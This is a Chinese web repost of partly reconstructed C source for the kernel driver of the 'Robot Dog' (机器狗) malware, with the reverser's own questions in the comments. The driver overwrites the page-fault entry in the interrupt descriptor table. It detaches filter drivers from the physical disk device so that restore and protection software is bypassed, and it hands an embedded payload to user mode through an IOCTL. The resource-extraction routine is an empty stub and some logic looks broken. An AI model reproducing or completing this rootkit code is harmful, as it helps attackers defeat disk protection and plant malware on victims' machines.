第一代机器狗源码

来源:百度文库 编辑:神马文学网 时间:2024/04/27 17:36:29
第一代机器狗源码 第一代机器狗源码 作者:佚名 文章来源:网络 点击数: 451 更新时间:2008-5-30 0:16:53 #include       // various NT definitions

#define IOCTL_MYDEV_BASE          0xF000
#define IOCTL_MYDEV_Fun_0xF01        CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0"
#define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0"
#define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0"

PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T   g_ResDataSize;

typedef struct _idtr
{
//定义中断描述符表的限制,长度两字节;
short        IDTLimit;
//定义中断描述服表的基址,长度四字节;
unsigned int IDTBase;
}IDTR,*PIDTR;

typedef struct _idtentry
{
//中断执行代码偏移量的底16位;
unsigned short OffsetLow;
//选择器,也就是寄存器;
unsigned short Selector;
//保留位,始终为零;
unsigned char        Reserved;
//IDT中的门的类型:包括中断门,陷阱门和任务门;
unsigned char        Type:4;
//段标识位;
unsigned char        SegmentFlag:1;
//中断门的权限等级,0表示内核级,3表示用户级;
unsigned char        DPL:2;
//呈现标志位;
unsigned char        Present:1;
//中断执行代码偏移量的高16位;
unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;

#define HOOKINTID_09 9 //NPX Segment Overrun
#define HOOKINTID_0E 0x0E //Page Fault

VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
{
int INT_09_Address_High8;
int INT_0E_Address_High8;
unsigned long OldISR_09;
unsigned long OldISR_0E;

//保存IDT入口的基地址和限制信息的数据结构;
IDTR        idtr;//store interrupt descript table register. to   idtr

       //记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
PIDTENTRY IdtEntry;

//汇编指令sidt,获取IDT入口信息;
__asm sidt idtr

//赋予IDT基地址值;
IdtEntry = (PIDTENTRY)idtr.IDTBase;

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用
OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);

INT_09_Address_High8 = OldISR_09&0x0FF000000;

/*
这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???
有知道的大侠告诉我dream2fly(QQ:838468959)
sub     eax, eax
jz    short FunctionExit
难道是?
if (INT_09_Address_High8 == 0)
return;
*/


//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);

INT_0E_Address_High8 = OldISR_0E&0x0FF000000;

if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
{
//关中断
__asm cli

IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?

//开中断
__asm sti
}
}

/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
VOID* pSelfImage = NULL;
VOID* pCurAddr = NULL;
VOID* pTmpAddr = NULL;

//     loc_40045F:这个取当前地址用C怎么写?
//028 lea     ebx, loc_40045F
//028 and     ebx, 0FFFFFC00h

//pSelfImage如何取?

while(MmIsAddressValid(pSelfImage))
{
if ((unsigned long)pSelfImage <= 0x80000000)
return NULL;

if (RtlEqualMemory(pSelfImage, "MZ", 2))
{
pCurAddr = pSelfImage;
pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);

if (!MmIsAddressValid(pCurAddr))
return NULL;

if (RtlEqualMemory(pCurAddr, "PE", 2))
return pSelfImage;
}

(unsigned long)pSelfImage -= 0x400;//-1024K
}

return NULL;
}

SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
{
// 有空再补上:)

return 0;
}
//
// Device driver routine declarations.
//

NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING    RegistryPath
);

NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT    DeviceObject,
IN PIRP                 Irp
);

VOID
Unload(
IN PDRIVER_OBJECT    DriverObject
);

NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING    RegistryPath
)
{
NTSTATUS        ntStatus;
CHAR*          pResData = NULL;
ANSI_STRING SourceString;
PDEVICE_OBJECT   DeviceObject = NULL; // ptr to device object
UNICODE_STRING   SymbolicLinkName;
UNICODE_STRING   DeviceName;
VOID* pSelfImage;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;

CheckIdt();

pSelfImage = SearchSelf();
if (pSelfImage == NULL)
return -1;

g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
if (g_ResDataSize == 0)
{
return -1;
}

g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
// 跳转到下条指令,延时 jmp short $+2

RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

DriverObject->DriverUnload = Unload;
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;

// 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);

RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

ntStatus = IoCreateDevice(
       DriverObject,                // Our Driver Object
       0,                            // We don't use a device extension
       &DeviceName,
       FILE_DEVICE_NULL,          // Device type
       0,     // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
       FALSE,                          // Not an exclusive device
       &DeviceObject );             // Returned ptr to Device Object

if ( !NT_SUCCESS( ntStatus ) )
{
goto End;
}

ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

if ( !NT_SUCCESS( ntStatus ) )
{
cur_device_object = DriverObject->DeviceObject;

while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}

End:
RtlFreeUnicodeString(&DeviceName);
RtlFreeUnicodeString(&SymbolicLinkName);

return STATUS_SUCCESS;
}

VOID
Unload(
IN PDRIVER_OBJECT DriverObject
)
{
ANSI_STRING SourceString;
PDEVICE_OBJECT   DeviceObject = NULL; // ptr to device object
UNICODE_STRING   SymbolicLinkName;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;

if (g_ResData)
{
ExFreePool(g_ResData);
}

if (DriverObject)
{
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

IoDeleteSymbolicLink(&SymbolicLinkName);
RtlFreeUnicodeString(&SymbolicLinkName);

cur_device_object = DriverObject->DeviceObject;

while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
}

NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_OBJECT   DRO_DeviceObject = NULL; // ptr to device object
PFILE_OBJECT DRO_FileObject;
ANSI_STRING SourceString;
UNICODE_STRING   DRO_DeviceName;

PIO_STACK_LOCATION   irpSp;// Pointer to current stack location
NTSTATUS          ntStatus = STATUS_SUCCESS;// Assume success
ULONG             inBufLength; // Input buffer length
ULONG             outBufLength; // Output buffer length

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

irpSp = IoGetCurrentIrpStackLocation( Irp );
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

if(!inBufLength || !outBufLength)
{
       ntStatus = STATUS_INVALID_PARAMETER;
       goto End;
}

switch ( irpSp->MajorFunction )
{
case IRP_MJ_CREATE:
RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

//保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加
if (DRO_FileObject->DeviceObject->AttachedDevice)
{
g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
DRO_FileObject->DeviceObject->AttachedDevice= NULL;
}

ObDereferenceObject(DRO_FileObject);

RtlFreeUnicodeString(&DRO_DeviceName);

break;
case IRP_MJ_CLOSE:
if (g_DR0_DeviceObject)
{
if (g_OldAttachedDeviceOfDR0)
{
g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
}
}

break;
case IRP_MJ_DEVICE_CONTROL:
if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
{
if (outBufLength < g_ResDataSize)
goto End;

// 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
// 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
// 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

Irp->IoStatus.Information = g_ResDataSize;
}
else
{
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
}

break;

default:

//
       // The specified I/O control code is unrecognized by this driver.
       //

       ntStatus = STATUS_INVALID_DEVICE_REQUEST;
       break;
}

End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//

Irp->IoStatus.Status = ntStatus;

IoCompleteRequest( Irp, IO_NO_INCREMENT );

return ntStatus;
}